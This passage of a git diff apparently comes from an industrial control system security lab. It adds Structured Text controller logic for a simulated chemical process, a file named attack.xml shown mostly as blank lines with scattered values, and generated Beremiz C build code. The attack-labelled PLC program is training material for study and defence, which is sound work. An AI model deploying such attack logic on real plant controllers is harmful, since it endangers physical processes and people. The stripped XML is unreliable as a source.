scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.xml b/plc/GRFICS_Workstation_Docs/Documents/attack.xml new file mode 100644 index 0000000..725d547 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.xml @@ -0,0 +1,5136 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 30000 + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 16000 + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + pressure_sp_real + + + + + + + pressure_k + + + + + + + pressure_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + valve_pos_nominal + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_k + + + + + + + flow_ti + + + + + + + cycle_time + + + + + + + flow_td + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + composition_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + valve_pos_nominal + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + override_ti + + + + + + + cycle_time + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + cycle_time + + + + + + + level_ti + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c new file mode 100644 index 0000000..0dd2355 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c @@ -0,0 +1,29 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +#include "accessor.h" + +#include "POUS.h" + +// CONFIGURATION CONFIG0 + +void RES0_init__(void); + +void config_init__(void) { + BOOL retain; + retain = 0; + + RES0_init__(); +} + +void RES0_run__(unsigned long tick); + +void config_run__(unsigned long tick) { + RES0_run__(tick); +} +unsigned long long common_ticktime__ = 50000000ULL; /*ns*/ +unsigned long greatest_tick_count__ = 0UL; /*tick*/ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h new file mode 100644 index 0000000..7050753 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h @@ -0,0 +1,2 @@ +#include "beremiz.h" + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o new file mode 100644 index 0000000..3d987f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c new file mode 100644 index 0000000..d1856d9 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c @@ -0,0 +1,1081 @@ +void LOGGER_init__(LOGGER *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MSG,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->LEVEL,LOGLEVEL__INFO,retain) + __INIT_VAR(data__->TRIG0,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void LOGGER_body__(LOGGER *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + if ((__GET_VAR(data__->TRIG,) && !(__GET_VAR(data__->TRIG0,)))) { + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) + + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + + #undef GetFbVar + #undef SetFbVar +; + }; + __SET_VAR(data__->,TRIG0,,__GET_VAR(data__->TRIG,)); + + goto __end; + +__end: + return; +} // LOGGER_body__() + + + + + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_EVAL_body__() + + + + + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_POLL_body__() + + + + + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + 